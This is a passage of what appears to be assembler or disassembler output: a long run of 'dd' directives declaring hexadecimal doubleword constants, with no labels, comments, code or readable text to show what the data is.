0A7613307h, 7E0045F3h, 0FB75C3CEh, 392D6D03h, 0C50A9D58h dd 0D4661Eh, 0F917A090h, 4D1FDBDAh, 5B000579h, 0E7813E15h dd 0F2A218AFh, 7D70688Bh, 0ECFC0F00h, 693658F0h, 4AFD005Fh dd 0E79AE591h, 2100827Eh, 606E0EBFh, 0C4488Ch, 3B2D5549h dd 122C758Ah, 0BA357D00h, 9A23D9A3h, 7656000Dh, 0E2CFE057h dd 0C800B31Eh, 6B195221h, 3B27CAE3h, 0A862A83Eh, 584AEF0Fh dd 0C3916280h, 21003F1Fh, 0B4C153C0h, 7C494BEh, 7196D3F6h dd 0C7AA70E8h, 8B190BFBh, 1B39AD02h, 60516CF0h, 8FB010F7h dd 0F403549Dh, 4C58319Fh, 0E51A0F93h, 0B2211BC3h, 0C8ED680Eh dd 0A998834Bh, 0BC6533Ah, 80C9E787h, 0A4969B84h, 0AA62C2Dh dd 3ED30477h, 0C9F1807Ah, 0BE0090B1h, 1501039Fh, 0E6413A8Ch dd 72DB001Ah, 0D085AD16h, 6F0751CAh, 0F2DE7833h, 0B1F07687h dd 609747E1h, 638040B2h, 0D307CD8Ah, 2ECEB8DDh, 51097EB0h dd 2414004Eh, 0F6B3536Eh, 4008AE3h, 0F8AAFAC2h, 0DBB5488h dd 0A99CE209h, 21F02048h, 0DC0D4E00h, 6A7E1227h, 61360044h dd 0C1BA89BCh, 2F006D1Ch, 538B49B8h, 18E68290h, 40A8A581h dd 8F0048A3h, 0C6A92EC7h, 1E8651E5h, 0C0244407h, 1B6F5C8Dh dd 0F967E85Dh, 0CFD03B31h, 1C7780h, 0EA5B512Eh, 0DB8B2D62h dd 8044E83Bh, 1AE2164Eh, 1291491h, 30BC7222h, 0D825022Eh dd 0A805C40Eh, 4953E323h, 6A879400h, 12367B3Eh, 7D4233h dd 0CE481397h, 1F0052E2h, 7B4ED6B9h, 3A83A44Dh, 8C005433h dd 428BDE45h, 0AF00E813h, 7F94ECBh, 71233AEh, 0A2A7DB61h dd 54317078h, 73000FEEh, 0D5ADDD62h, 0DBC7FEh, 0B6C044E0h dd 0A194C368h, 0BBDC060Ch, 0E960B5h, 47312621h, 0B4CCC8A8h dd 0C3F13Ah, 54349FC0h, 0EF225AEFh, 7FB5E8h, 819D62EEh dd 0C4586B4Ah, 0DFC5FC00h, 0A61C2A5Dh, 1FA2009Ch, 69B434ABh dd 4400CC42h, 90E275F6h, 30E3B9F9h, 51201D46h, 8700D53Ch dd 6BC6C561h, 17D7FB3Bh, 3CEC8FDh, 0ECF78D7h, 823FCA80h dd 73C02C1Eh, 0A9950200h, 3E629EA4h, 4938E031h, 2E14AA80h dd 0F3FC1F1Dh, 7DE37058h, 210C08CCh, 725E00A3h, 0A6F97DF1h dd 300010D1h, 88D8FCF2h, 605DDAF0h, 3F342854h, 4000DDF1h dd 16B8A3B4h, 0C4D11C9Dh, 3697EDE1h, 410934C0h, 0C470408Ch dd 1234A475h, 1B0E2400h, 0B1EE56D7h, 0CA7F52h, 0EC09F71Dh dd 615D3C0Ch, 2D380101h, 6BC1C0Dh, 0FC5B1C8h, 7EFD11F5h dd 64819B00h, 1B0043CCh, 9C291099h, 0ABBE88h, 63673646h dd 0B6F2FD37h, 596FB300h, 6E423B4Bh, 86813E05h, 735A0A83h dd 0B7A06D26h, 16001FA1h, 0BDC3A756h, 14440h, 3135AEA2h dd 8146F492h, 6DF05B1Ch, 0D65A76C0h, 0EEBCF44h, 0F45199B7h dd 8731BDA0h, 30D22EE2h, 6B0E15ACh, 66004556h, 0B45125F3h dd 5EA64200h, 0CED257ADh, 6E4E03ACh, 0A99121EEh, 3FC4BAE8h dd 941C46E0h, 33CA512Ah, 934318A7h, 3819F235h, 0DA0E2226h dd 8207B3B0h, 0B8417451h, 440F7634h, 98C7538Eh, 307A4006h dd 98B3D4C2h, 2FAE614h, 0CA5492F1h, 649693C3h, 301E8E21h dd 2F22C639h, 0D415137Dh, 0D84C92EDh, 0A6228470h, 567CEA1Ch dd 560830ABh, 86C1907Fh, 5880BEE5h, 0E2FCC61h, 5BF0C13Ah dd 65249CA7h, 66813421h, 0AE2FDA58h, 46C2684Ah, 0F0881C37h dd 5064709Ch, 26008D46h, 6E130734h, 30ACA739h, 8F7A7E11h dd 6E4A071h, 0D08663DEh, 81EF6EDh, 0BB0A96C5h, 0BC70D442h dd 2020A490h, 9428D5E6h, 0F41ED865h, 9B14916Bh, 0D8F6E0A8h dd 20D054E5h, 85D102C6h, 288E3492h, 47601C61h, 0D71780F8h dd 0CF05CE2Fh, 3E1B92C0h, 8E824874h, 0A948938Ch, 984EE44Ch dd 82AE8062h, 538680B8h dd 0E13FF0Ch, 3CE8089h, 0D492BD9Ch, 0C6A5B054h, 69FAD8A9h dd 7493BE01h, 4E134A26h, 140AF84Eh, 40308E1Ch, 1374AA66h dd 275CEE12h, 6875640Ch, 305492AEh, 0F4F0614Eh, 5C904947h dd 2B399C87h, 4686BC7Fh, 3AB842FFh, 2E01705Bh, 4E142BF5h dd 0B47C20D9h, 5C0AE0A7h, 2660501Ah, 1213127Dh, 0A18A4AEh dd 589C3DB8h, 0E8549B86h, 1748E1DCh, 0ED83001Ch, 72C9F3B0h dd 5C735685h, 0AF547062h, 0E6390213h, 0D451A001h, 2C3818B0h dd 59846B0Ch, 120110C9h, 21E6B75Dh, 30696C84h, 0A1F76D50h dd 1843F078h, 1F169846h, 56D8C97Ah, 28939885h, 0C11613D4h dd 7918E12Bh, 0C7A109C8h, 14B0A990h, 118CA73h, 0EF05E854h dd 0C080BB3Ch, 33B06DABh, 18A56F08h, 0BCF41801h, 0C6006844h dd 0B05767AEh, 0D7DE1F44h, 0B01ECD0Ch, 57077DA6h, 51016CCFh dd 4806334Ah, 0A582079h, 0C03C28D1h, 0FFF38117h, 0B7668069h dd 13CFB101h, 0D3CBDCDFh, 3A7EB84Ah, 81E195EDh, 41294746h dd 0F82A2698h, 5C7727D3h, 0FEC11B19h, 604C3AF0h, 0E2FF15EEh dd 2600A4CAh, 53D08055h, 0D3E88410h, 0B00E37EEh, 9F690D13h dd 71502C24h, 3A5816E3h, 410C459Ch, 799438E8h, 0C405B108h dd 0FE6002Ah, 0FFD3B021h, 0E058C058h, 616D8D7Fh, 97C699C2h dd 6698413Eh, 14E09050h, 85C0A042h, 3E8032AFh, 0AABF383h dd 6C8E5338h, 6D2E5018h, 6A408370h, 287E6286h, 403842B3h dd 0F41F0A22h, 21CC3D0Fh, 0B0A640C4h, 74912F01h, 4875740Ch dd 3C5252B2h, 0D26A6B87h, 0A8407820h, 49298126h, 0A63F0CFh dd 3144E7F1h, 4DF8F4D1h, 0BB02504Ah, 243FF9D8h, 90C1E86Ah dd 8285CB0h, 30777408h, 73C60926h, 7D969822h, 10F1F486h dd 99BB331h, 202058E2h, 0AE377D75h, 8C77023Ch, 0FF7FCC5Fh dd 48FAB886h, 0B421F319h, 409FF080h, 1805189Bh, 449134DCh dd 15421FCFh, 823E4769h, 67859BC4h, 4EB50110h, 34D15C0Bh dd 2367BFCCh, 8CDAC468h, 30C78970h, 46315F7Dh, 74B88D1Eh dd 7804AA26h, 31ED3870h, 26D1FFAFh, 0D4308414h, 8038703Dh dd 84B50D17h, 0B906A842h, 0CE48E3Dh, 48AD6892h, 6E09C6Dh dd 812A6BEBh, 131D8B4h, 0F96068E1h, 0EAD0F4D1h, 6C9301CBh dd 0DE345C4Eh, 0A2D441ADh, 79208B87h, 0C0F00788h, 55C9C4Bh dd 52387742h, 6CA8D054h, 732CCBE5h, 0FF96386Dh, 0B56E5C02h dd 5064E1D0h, 25CEE0E7h, 0EFBCB0F7h, 783B2474h, 5BFB24BFh dd 0E4B30C0Dh, 0E8B1E609h, 0C180C318h, 30209047h, 72A8294Bh dd 1B1895C9h, 0E51010C4h, 0ED4A04Dh, 0DB911FB7h, 3A92DDDDh dd 2E09C0EFh, 3713E802h, 0EFDC6498h, 0C15D9672h, 0A90F140Ch dd 0D0523394h, 2FDB8813h, 0EC031EEh, 2060FCC0h, 0DCA0801Ch dd 82EB91B4h, 9281CD08h, 1A8E57Bh, 0E1490D6Eh, 482474B7h dd 5451E004h, 0E4C0419Dh, 165C3DDCh, 5E9F874h, 8205F2B0h dd 0D4C04FF8h, 7480816Eh, 6C444888h, 91BA8607h, 0F03F467Bh dd 0CF4B9C12h, 3989782Ch, 9FA5B7DCh, 0A8522800h, 0DD313451h dd 2C4CB0AAh, 92ABD041h, 0F2C9C040h, 60E8B995h, 92602089h dd 0BE087091h, 0A5ED0C9Ch, 0A0B08250h, 0E3B5D312h, 98A41C07h dd 895A14C1h, 109ED841h, 5036A830h, 6226C061h, 77D73016h dd 6ABA480h, 4848F45Ch, 0B22E0918h, 0E7200609h, 0D3740748h dd 0E7145CFEh, 46D44153h, 65088B34h, 85848019h, 2C6E2FE3h dd 130C42CAh, 0AF0412EAh, 146C1514h, 2EE8A745h, 5405ACC7h dd 7CC1320Eh, 0E1E32196h, 84413035h, 34E02482h, 0B4285CF8h dd 90324618h, 0BA810D6Dh, 6A1420BEh, 9019D010h, 83B80812h dd 63E09418h, 6429A192h, 2D3DD841h, 0C4727420h, 34DD408h dd 18767B54h, 0A8521E58h, 60C666FEh, 3C08438Bh, 0EE1E677Ah dd 0A028B095h, 8E1D2FD1h, 4E04D829h, 4881E217h, 0C09A2B15h dd 0C8C180B5h, 66688CF6h, 0A0DD3020h, 949F4EF0h, 0B1621F24h dd 0B8E69938h, 8C486F20h, 3A4E7069h, 0EA78615Eh, 3978C60Ah dd 936170D5h, 356E0E48h, 5F4DB841h, 5929841h, 0D85C1094h dd 68A0487Ch, 4EA42C7Dh, 0FC9D1448h, 0C22EA74h, 7BE7CE2Fh dd 9CA39728h, 0D858C5A2h, 14B23824h, 0E0F9110Ah, 401FF413h dd 27F7209h, 41575994h, 60204D74h, 0FAB82414h, 0AC0E0C84h dd 10C37E20h, 18BDA9F3h, 20F77540h, 78C6DD2Dh, 6E8D6F5h dd 3B928CEAh, 543A609Eh, 4C33C034h, 76133846h, 3C340E8Ah dd 906CC272h, 1901E847h, 0C1819818h, 20F42601h, 0E22C5368h dd 8B09101Ah, 2A7002FFh, 9EA48344h, 0CCF014FEh, 0EE289CFDh dd 720E12A4h, 7E640938h, 1EC8008Ah, 16940971h, 11EE4801h dd 0DD38301Ah, 73456C90h, 5C410021h, 2C246754h, 0E0405095h dd 6C794883h, 62AB912h, 786D5E64h, 38B00831h, 9420A9E5h dd 88766279h, 5C401F14h, 0FCA1360Fh, 0EE342058h, 10335531h dd 58922E6Ch, 301C49E8h, 50B48C01h, 3A688CFAh, 64130882h dd 87CBD032h, 49A24634h, 406EBD31h, 188CA3ECh, 4B90073Bh dd 7F600F63h, 0A1882805h, 0C4B0E888h, 82485141h, 0A50FDA24h dd 8806783Ah, 625043F7h, 310E4836h, 0F5D130C8h, 59245C98h dd 36131C84h, 94C744Bh, 0A99484F0h, 91577700h, 7498829Bh dd 0A501496h, 5CA5E85Ah, 60CD4F8h, 6E80530Bh, 0B7E984A3h dd 8118733Eh, 31C1A929h, 0FCE63984h, 0D484C39Fh, 5AFB700Ch dd 0EF02881Ah, 9E80A463h, 0F5CA85E8h, 9CEDBB41h, 0EBB05828h dd 0E762FFB3h, 6823A629h, 0C4503AB8h, 82A01EA8h, 4440E590h dd 1C905433h, 849C5325h, 4481ADDCh, 0B841250Eh, 0E824EBEEh dd 13B098DAh, 440A054h, 0C2FD1998h, 0EC8347B8h, 3848A46Eh dd 807C280Bh, 1044BD48h, 0D410C2B3h, 8754103Fh, 4E60E13h dd 439934B4h, 0E12FBF77h, 388C5221h, 1618F77Dh, 2414C248h dd 140944B6h, 0C808242Eh, 0B744087h, 0D0CE50C1h, 5D346889h dd 61FDD0A6h, 7C106F5Ch, 0C8597B32h, 4AB44882h, 317490D7h dd 1F40E5B5h, 4F188C1Ah, 0B7E0A019h, 21A23BE3h, 683BB0C1h dd 90CD248Ch, 0CE18F298h, 880D6228h, 988F6463h, 0AAA82AECh dd 0F994F0C2h, 0AEC44126h, 6FCE6820h, 8089F05Ch, 9A8CC40Fh dd 0C36F4E18h, 50BA0C38h, 33152A6Eh, 913564ACh, 0E894C147h dd 2008704Dh, 0EE2E6200h, 0DB95F68Eh, 0A60964Ah, 0CF0C324h dd 0DD088616h, 6DA8B550h, 5A085762h, 0FF80408Eh, 93D4A07Eh dd 0F3CFF9F0h, 2718132Ah, 0EE240B61h, 8037B0A5h, 0B84454E0h dd 0C1305090h, 0D181204Bh, 16FB3C95h, 0F1310CDCh, 302A1E11h dd 7C5C5624h, 70CA18CCh, 78B12448h, 0B6713291h, 9B01F908h dd 40988C02h, 0AE93D876h, 1DB0EE2Ch, 961890B3h, 0E5B32410h dd 81A01354h, 2C76B20Ch, 978CB02Ch, 43A4BD5h, 9C3486D8h dd 5C3DBF90h, 10F82059h, 309CC166h, 835408E2h, 58309644h dd 5F3D805Ch, 0AC094B12h, 0D4AC0316h, 0DB91B0CCh, 0C01F504Bh dd 56BCB896h, 252820FBh, 0B44C5DA4h, 0E8402614h, 9CD8D32Eh dd 318C2A13h, 1750B3A9h, 4451F2FCh, 56603F40h, 485D62B2h dd 80782E06h, 0CBE57005h, 8C13653h, 7C31194Eh, 43A00C68h dd 0C0E23FBEh, 3C0BF894h, 82EC659Fh, 0F07FCBA0h, 0C5E159E0h dd 1490FD50h, 0E8F95532h, 544CC009h, 312CBAEEh, 0F8082588h dd 0BA9C20CFh, 9280026Fh, 7E4EEC06h, 0D8EE2610h, 107D98ECh dd 0E183CE2Eh, 8921A40h, 51044519h, 6BFCD2B2h, 84668040h dd 0F1DB920Dh, 306C18F4h dd 0E7215401h, 38067B95h, 0B6231020h, 447FB12h, 81E9DC44h dd 3C1B281Ch, 3E0CB008h, 0B50325BFh, 2CE1EC03h, 87B7882Dh dd 83892A7Ch, 2E743800h, 8920FEB0h, 20C5820Ch, 15403780h dd 8345A0AFh, 50120BABh, 58384496h, 1B6E6A6h, 0E1E4373Fh dd 0A1EA0265h, 8147C830h, 68AA67B2h, 988246ECh, 5C809040h dd 0D2184489h, 769F984Bh, 9BC16091h, 58E26820h, 0E5261BF4h dd 829D9083h, 34451488h, 0C3E1823Fh, 517E41Eh, 8ED40118h dd 6291B79Fh, 0F69EC18Ch, 31850C12h, 9767F0E6h, 7065BBD8h dd 68356987h, 0C2B861E2h, 0EE08A368h, 94C18C0Ch, 0B043840Ah dd 0D3D80020h, 9B95EFB1h, 80CF826Fh, 142F3D2Ch, 31BC020Ch dd 1BAFA7E1h, 40C2E883h, 7EAB82Fh, 3CB8600h, 2EFF4884h dd 3A28D8A0h, 83286837h, 301701F8h, 9C1C868Bh, 0C807DED6h dd 3B826A35h, 34B461C6h, 9C0181D1h, 31B8415Fh, 6B207080h dd 0D810456Fh, 48739308h, 0D018548Ah, 85DB207Ch, 0A431A090h dd 0AFFB108Eh, 7F33F028h, 0F0A6EA50h, 18F46F33h, 33081272h dd 733C0368h, 87CF010h, 0DC60C262h, 9E884158h, 627388BAh dd 0ECC540F7h, 91BE28E9h, 4A31D818h, 9CD73330h, 38379480h dd 10811C85h, 0E1116313h, 95D60150h, 0EB538041h, 69AE3CD7h dd 81E89B12h, 93859994h, 0E44B4BA8h, 2EC80218h, 6E88E059h dd 3BE0900Eh, 0EE78CCAEh, 0CE08C3D8h, 40319015h, 0D7B4F8F6h dd 2F49040h, 5EB0A0C1h, 5908D8D9h, 9A8E9Bh, 3B088CF9h dd 581A819Ah, 2618807Fh, 256BC061h, 80603581h, 0A2BB3154h dd 9A81C258h, 6208B648h, 0D47C4038h, 5408C2EBh, 0AC85BAEFh dd 74D8038Ch, 5819FC27h, 86186BFBh, 0CA5BF885h, 186C818Fh dd 0AF089289h, 473B4C03h, 0D1101285h, 2008B10h, 0B293C9C2h dd 869040D3h, 394D5A7Fh, 311820B4h, 960A548h, 0C54D2D66h dd 681ACDCh, 50EEEA24h, 3C5A467Eh, 419F02Ch, 1B36E8F4h dd 40171C7Ah, 59A32005h, 0DCC0ECF2h, 0B025E5E4h, 0EFC80D4h dd 0ACAE2FD1h, 0BAC304Ah, 115B9539h, 0BD32C83h, 4ECC0918h dd 90AF52D0h, 825BB0h, 0CB230474h, 6550FF93h, 0B46755A4h dd 6A8F6008h, 7250943Bh, 78C118C7h, 66E680A8h, 7E203C48h dd 742E90B8h, 0D8BFCBEh, 0E2C02D6h, 28B882F9h, 50104A86h dd 5AD105CCh, 3C813B91h, 461154B4h, 0C609638Ch, 1082DBB1h dd 0F0E1D80Dh, 22202811h, 77812459h, 36613B8h, 1663B3FCh dd 45410810h, 5318A331h, 8E02FEDDh, 6018F975h, 79CB4DD1h dd 50163D26h, 2FD42B02h, 2DC940Eh, 0F14D4438h, 1840BC12h dd 9C90FCDFh, 92F72D00h, 91422674h, 0FB32325Bh, 7441E478h dd 20C3E914h, 8348FE8Ch, 4486157Ch, 0D09317B8h, 0C74282Ch dd 3EC994BFh, 0F22C6690h, 0C370403Dh, 37623A8Eh, 0BF5C3F20h dd 0F9AE0934h, 5F000781h, 2609C4AAh, 78B40293h, 0CF5E0595h dd 0A2340F88h, 17EE4404h, 0B40E190Bh, 0D063DCE6h, 36E83454h dd 0E20558A6h, 11DD9E25h, 0A9068C02h, 0A84C413Eh, 484EE430h dd 5B04F0EFh, 0B29189B8h, 0B99F80A4h, 0CA04F2C2h, 50BCE640h dd 616E28Fh, 4C468AAFh, 29508CE6h, 4048BF38h, 0C6F7E17Dh dd 0CA631C4h, 0A9DB94C1h, 702CC445h, 0B6770B30h, 0F440CC6Bh dd 950AFA40h, 0A0F3DA1Bh, 9C5B0B0Bh, 59740614h, 688B03E1h dd 30E26630h, 98F8D573h, 0FC242D40h, 2604CC16h, 0CCA10608h dd 0D30B1855h, 149C7864h, 86D87B04h, 0B945D065h, 0B3800CDDh dd 294C9338h, 206978B8h, 6C09670h, 0D9CA6358h, 61240B9h dd 38B854h, 59E1285h, 0E6284F4Eh, 90D0F18Ch, 0DB14B890h dd 0A750EE9Ah, 3FC72AB4h, 0E1C6386Ch, 282ABC61h, 110B3DD0h dd 0A2204D62h, 51F341ECh, 1F176000h, 89C459E6h, 2C12E486h dd 0B3058EE0h, 3E48E3FEh, 8F38C009h, 0ED85A514h, 94E8F81Fh dd 0A24C9B14h, 0B9C9A348h, 69899C59h, 0FC229346h, 2C47DDCCh dd 0BFDC5301h, 260060F9h, 0C0B0241Ch, 526CBC4Ch, 176C32Ch dd 8C42DD27h, 82239406h, 9C415FA0h, 0F89502A4h, 17F0C7B9h dd 79828447h, 0A63318CAh, 2450A1B4h, 500C253h, 0B29459Bh dd 0C8819D94h, 656C307Bh, 810F704h, 7719E9A7h, 3CC1E081h dd 0F8A210ACh, 2B54521Eh, 99A9C7Ch, 0CA05AA3h, 95CA0BA6h dd 30947B26h, 10A09192h, 8480503Fh, 18AD6277h, 0C485E57Ah dd 0B750E0D2h, 553B70C3h, 9800B9Dh, 80E5CF7Bh, 9B4F2C01h dd 0CC64EC28h, 506D6211h, 9C9C465Dh, 7788004h, 6602E4D8h dd 8C82B1B2h, 0C047C9FDh, 9A35B600h, 8117F27Dh, 14B8AD66h dd 37A41E18h, 7CB391BFh, 17289648h, 0DCCB160Dh, 0CAEED802h dd 1040D7B1h, 1C524306h, 50968040h, 5049589Fh, 4E7CF401h dd 0E02C2D4Ah, 264ABF09h, 39C68CC0h, 5970964Bh, 8856DC83h dd 0A6900395h, 5028CD97h, 7E4B0C4Fh, 86503142h, 0A883D929h dd 4E4A74C0h, 7A262044h, 2CEF4B26h, 30325C70h, 46A1D7D6h dd 915741FFh, 92970278h, 0AD2FC7FCh, 0B80E28A4h, 103EA102h dd 60126F8h, 0BC33454Bh, 7349EA81h, 0E6799CB6h, 0B40F9656h dd 70005701h, 53D0A452h, 935C091Fh, 3458C2BBh, 786DA329h dd 26C0DA40h, 144C9A70h, 0A0B19FC6h, 0E7C2DBE0h, 68F86145h dd 580CB68Dh, 4630F57Ch, 6C86519Bh, 5848BC9Ah, 0A115C3CFh dd 14B423FDh, 0A0786BF3h, 2E362D55h, 3A8CB246h, 243C1726h dd 5BB15838h, 0A073D42Eh, 7D6E2684h, 0F066F4C2h, 0C8F148C0h dd 8712277Eh, 7B830065h, 4BD1BA1Ch, 8200D4B9h, 70560C37h dd 70A805Bh, 0E6CB4037h, 0DB88DC50h, 7C9462F0h, 12F92358h dd 1DD7C638h, 510A0BBCh, 0A404441Ch, 1DE41E21h, 9709891Fh dd 98B07450h, 833A3323h, 0DE184F28h, 0C386311Fh, 0A8706466h dd 0E52C3175h, 57C6629h, 4BA6C2Ch, 0DFFC4442h, 0B12E0417h dd 0B206588Eh, 51AE44FBh, 74B62626h, 4826823h, 0C8D81C3Ch dd 90130654h, 811CA5A8h, 0FED773B5h, 0E6289CFCh, 1C0C8BD2h dd 249B0863h, 70248886h, 0E8F4EC63h, 0E8C2CA4Ah, 0FBB0605Bh dd 0B854630Fh, 70C58C1Fh, 0B92C8974h, 38558530h, 9D82AEA6h dd 0B8975016h, 0C64836DCh, 844EB28h, 5C87260Ch, 19210F4h dd 0C6D12990h, 7193BDEFh, 7E1404B8h, 735BC004h, 2FDF74h dd 4C04C583h, 0E5EE2AC4h, 0A21D3703h, 1790DDh, 0DB2CD330h dd 0B07BD64Ah, 1A7C5E74h, 1F995948h, 342B4B38h, 473E1041h dd 26814C4Ah, 0C4D696F0h, 152E23E4h, 3B00B611h, 0EEDA8146h dd 48053E02h, 0B1216B06h, 1A21183Ah, 0AEB50AEFh, 0DFE61018h dd 0F437C044h, 20EA8E04h, 0C13C266Eh, 0FFB08219h, 97200004h dd 0CAF68839h, 0DD5E2184h, 41DC2A08h, 1238F6E8h, 6E75189Eh dd 0A8FA3B44h, 8490F124h, 0DA2A5243h, 0CB862B0Ch, 4943C224h dd 428A0C85h, 36037C18h, 10567E22h, 90A45DE1h, 8824B254h dd 21371E22h, 610AFDEEh, 6215306Ah, 0AB861424h, 79F09EC0h dd 0FE54CF36h, 0B761C1A3h, 8812C9A1h, 41BD7C18h, 0F1C6ECFBh dd 0A0CF0FCh, 0A091CE7Ah, 4463F900h, 0F0925Ah, 0FBF785BFh dd 76DFB338h, 0E93E3700h, 459A7883h, 0C0800E79h, 258261BFh dd 12F5EB4h, 91E6D130h, 944DA440h, 93ECA89Fh, 0FD643081h dd 619A8FD0h, 2620C200h, 0F5D689A9h, 42B106E1h, 0A0ED84B0h dd 0E637D301h, 41DD074Eh, 30AC6020h, 24897BAFh, 0F0075410h dd 0BDB0BFF3h, 0E2940333h, 0B1040711h, 4A3DC347h, 0BCAD801Ch dd 24A25A65h, 47442933h dd 0BB2D81D8h, 0C2EFCF45h, 9440951Fh, 2003C77Fh, 0AFBF997Ah dd 0C6590577h, 0F0D5970Eh, 0BE1FB514h, 6B80CA80h, 0B139984Eh dd 0C8A75010h, 5D971FD9h, 40958429h, 0E0C0AB47h, 28FF300Bh dd 1F14B03Dh, 337DC03h, 433BCF80h, 0AD41691Fh, 0E64A89C0h dd 6EEFB7h, 80072375h, 4BEB2E14h, 617AF3F6h, 56BDCB2Fh dd 81D71E8Eh, 5AE2F079h, 0B555FCF9h, 0EAAA1E06h, 4AB80C09h dd 64508029h, 9060A3A1h, 8C488998h, 566D00C1h, 22D60763h dd 924CCE36h, 76FE00ACh, 28D5D35Eh, 6DB124C5h, 52063E87h dd 0D05F553Dh, 10DF51Ch, 40BF210Ah, 0CDDCE351h, 4D1000A6h dd 12A7A48Fh, 28005188h, 0FE543286h, 72AA0A95h, 0FD1E15A5h dd 0DA1EC05Dh, 86E507A7h, 0AEB781D5h, 0F86030A9h, 0DED9B112h dd 0F7344401h, 3ED09057h, 4D9B1858h, 0AA6EB839h, 0D2F8AF5Bh dd 453DD613h, 0C620B3B0h, 757C2060h, 882C4128h, 85521B00h dd 8692F19Eh, 0AC555131h, 5BAF308Ah, 9ACDE084h, 7B3007FCh dd 0C02D91CAh, 0B61301BAh, 26CE4BFEh, 3B42035h, 0E196D71h dd 40515FC7h, 48047C23h, 803A7C65h, 7374D494h, 5953F81Eh dd 9843FF46h, 50140AC8h, 808894A7h, 9AFE4F3Fh, 5DECE9D6h dd 1FB4AD14h, 198A8084h, 0E3C5Ah, 308F9DFh, 0A3E24086h dd 0A63DBC01h, 455176C5h, 1FA45420h, 0ACB0BDh, 0D9F8B437h dd 80A0838Eh, 0C50B1F1Eh, 20C4E23Eh, 0CF388918h, 434C00DDh dd 8FB974B1h, 0DB5817B3h, 0C74F1138h, 78A77F0Fh, 0C5039987h dd 201889E0h, 0E9DF7508h, 0D9E7D000h, 26FB6B4h, 0B71BE990h dd 94C8AFDAh, 0AC90A467h, 84062DF6h, 5E269531h, 399F00E8h dd 0FB373E11h, 1871DBF8h, 0EB0830AEh, 0E0B12D19h, 0CF4B2103h dd 1AD35013h, 74A76041h, 4820578Dh, 106C00B0h, 0F1E9F544h dd 0C9002BC6h, 5478AA07h, 90D6721Bh, 0F914A0D1h, 40E10009h dd 0AB5A38A1h, 0AA264A43h, 0F6010BEh, 3AA2D2h, 7997DCCCh dd 95F8C934h, 0E040032Ch, 355EFA83h, 0A851018Ah, 0BC14866Bh dd 111FE8EBh, 0A451A0A0h, 10314Dh, 89A06A93h, 0D9CC0Fh dd 1197DD1Dh, 0F7577BEAh, 0BE5D140Fh, 5104A0F5h, 9311EE4h dd 0D3AA5FE7h, 8C141C29h, 0AE01F81Eh, 0C5B1A380h, 35C24BB4h dd 60903052h, 7C374E50h, 0CBE4A704h, 58C8ADA9h, 82F05BDh dd 0D663C213h, 180E2AD8h, 0CF926003h, 12C5A5B8h, 368ACCD0h dd 139300FCh, 1C7E9F15h, 8D052ACFh, 33D2E610h, 424898h dd 7CBFC240h, 0BB46B2CEh, 38E8C918h, 6216F748h, 430B314Eh dd 0E54074E8h, 0D3B18960h, 61DBE185h, 0FFE6E833h, 0BC6CBCB2h dd 401A093Dh, 0DD40A011h, 185AEF83h, 0F859A9EEh, 12247BEBh dd 95820889h, 0E8E4F4E3h, 2D04E6Ch, 0C531FA45h, 18877BB8h dd 25874BAh, 4808CFB0h, 156B0E20h, 80FE81CCh, 7521A70Ch dd 4103E659h, 0BB5B95A8h, 5666AA4Dh, 0E1803BFCh, 9473C0E5h dd 0B60D7E9Ah, 40932B2Ch, 4FBAFFD4h, 106C1AEFh, 0E116C90Fh dd 3D0812CCh, 0DC478133h, 0F8F4D020h, 0B2AF0039h, 458235Ch dd 1D485F8Ah, 8BF30088h, 83E8988Eh, 797E074Ah, 7068F00Fh dd 41F45AE1h, 347D001h, 5BEDE701h, 30A2CCDFh, 2A37B480h dd 0F7445AEDh, 38DF7CBDh, 51C0233h, 0F22A4A48h, 0B59C01E4h dd 81BBD63Ah, 0FDE38481h, 0A8602B45h, 77CC09C1h, 7C204E4Ch dd 95897102h, 8D2F4F26h, 43131100h, 12F5C54Bh, 705D701Eh dd 0F7A22220h, 26F4F8B0h, 0E6FCE750h, 2C2A5C79h, 0AB01C879h dd 6A8B514Bh, 0C8DB42CEh, 0A059131Ch, 242BF6D0h, 0A6D43B29h dd 65800062h, 0D8CD9DDh, 0A81DA092h, 2C405E87h, 96367B5Ch dd 119460B7h, 6A9192F7h, 30FDF898h, 8828A137h, 0AD31301Dh dd 4976F920h, 51994840h, 9C873B21h, 1F2D8F82h, 5200574Dh dd 0CE5AD08h, 56331CB2h, 940A9180h, 0C04CFC2Bh, 0D089A480h dd 7871FF9h, 8FAC8D0Bh, 9060451Ch, 0D36184E0h, 0B99FBD00h dd 0A75BE67Ch, 3809053Ah, 95545A63h, 4C04024Ch, 0FC83D1A2h dd 927C149h, 0AB3CE0A8h, 91AA1F73h, 65238042h, 0F3ED815Bh dd 0CF632800h, 0FB094C05h, 447800B2h, 22CEB69Dh, 0FC06292Ah dd 0E5FEF226h, 0E3EB00F9h, 423E2D75h, 5B7753A2h, 0E8E7CA04h dd 54C0C2E6h, 3A71687h, 0CB979DBBh, 30E71F5Eh, 0FFB9A450h dd 343680h, 68F349B6h, 9D59C4FAh, 64B4232Ch, 973BA300h dd 2E5826h, 309CF2Bh, 7C40826Eh, 29F2FE00h, 0F679BCFFh dd 7F101544h, 2F0604F3h, 213B7863h, 9ED0C8Dh, 5C02300Fh dd 0C8A9D167h, 0C0D0C760h, 94A62200h, 0F7C44F1Fh, 2E0CA0CDh dd 0A7EC84A4h, 9A8025E0h, 0B62884A0h, 0F20818C9h, 101EF3A9h dd 0B1BEC465h, 3CA1EA22h, 109D25D6h, 0C40196E6h, 22A78231h dd 0FA0CA56Fh, 0CA785444h, 8A92621h, 0CC75091h, 0FA08EDD2h dd 1E2AE742h, 9F732130h, 8B000A11h, 5856AB9h, 0FB1E1DF5h dd 0A782186Bh, 0A0456019h, 293D6EA8h, 1D2A0181h, 98082D51h dd 94C4517Ah, 1AE3CC8Eh, 9DBCEA02h, 204C57F3h, 0D03626C1h dd 0C84AFD2Ah, 46678F00h, 1442CA90h, 22F90099h, 0DAE20D5Fh dd 2000F0BEh, 2F2A1A31h, 0E120E4Ah, 11678D98h, 46094580h dd 0C9001E10h, 25705A1h, 5D578A9h, 0BB18FEE7h, 2D4C2032h dd 0D9C04A09h, 87D01723h, 809C0551h, 52FB267h, 0C1C56684h dd 0DD778A2Dh, 511ED4BEh, 88500500h, 76EBB6A4h, 9D10085h dd 6993164Eh, 57023D97h, 6273723h, 0E21CB888h, 87F64355h dd 84C07065h, 0F013C78h, 77AE6CCAh, 0B4E66D60h, 0DC5709DAh dd 1CC184C0h, 9881401Ch, 373C7697h, 606D363Dh, 0DBBCC229h dd 4B442E5Ch, 0CC7800F0h, 0EE72F263h, 0F4212A07h, 0C0873BD9h dd 